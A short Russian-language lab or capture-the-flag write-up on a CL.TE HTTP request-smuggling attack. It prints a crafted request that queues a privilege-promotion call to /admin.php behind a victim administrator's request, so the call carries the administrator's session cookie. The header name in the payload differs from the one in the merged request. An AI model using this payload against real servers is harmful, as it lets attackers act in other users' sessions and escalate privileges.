Разбирал задание с уязвимостью CL.TE (Content-Length / Transfer-Encoding). Сценарий: есть пользователь с низкими привилегиями, есть эндпоинт /admin.php?promote_uid=7. Задача — заставить администратора выполнить запрос от нашего имени.
1️⃣ Суть CL.TE
Фронтенд читает длину тела через Content-Length.
Бэкенд читает тело через Transfer-Encoding: chunked.
Это несоответствие и есть точка входа.
2️⃣ Вредоносный запрос
POST / HTTP/1.1
Host: smuggle.lab
Content-Length: 58
Transfer-Encoding: chunked
0
POST /admin.php?promote_uid=7 HTTP/1.1
X-Something:
Фронтенд видит один запрос — до конца X-Something: (58 байт по CL).
Бэкенд видит другое — пустой чанк 0\r\n\r\n завершает первый запрос, остаток висит в буфере.
3️⃣ Что происходит дальше
Администратор заходит на сайт со своим обычным GET-запросом:
GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Его запрос склеивается с нашим "хвостом" в буфере:
POST /admin.php?promote_uid=7 HTTP/1.1
X-Ignore: GET /dashboard HTTP/1.1
Host: smuggle.lab
Cookie: session=<admin_session_cookie>
Бэкенд видит POST на /admin.php?promote_uid=7 — с куками администратора.
4️⃣ Результат
Привилегии повышены. Администратор ничего не делал целенаправленно — просто открыл страницу.
Итог
➡️ CL.TE несоответствие → контроль над буфером TCP-соединения
➡️ "Подклейка" чужого запроса → выполнение действий от имени жертвы
➡️ Сессионный cookie автоматически уходит вместе с запросом
Инсайт
Request Smuggling — это не просто путаница с заголовками.
Это возможность встроить свой запрос в чужую сессию, не имея доступа к токену.
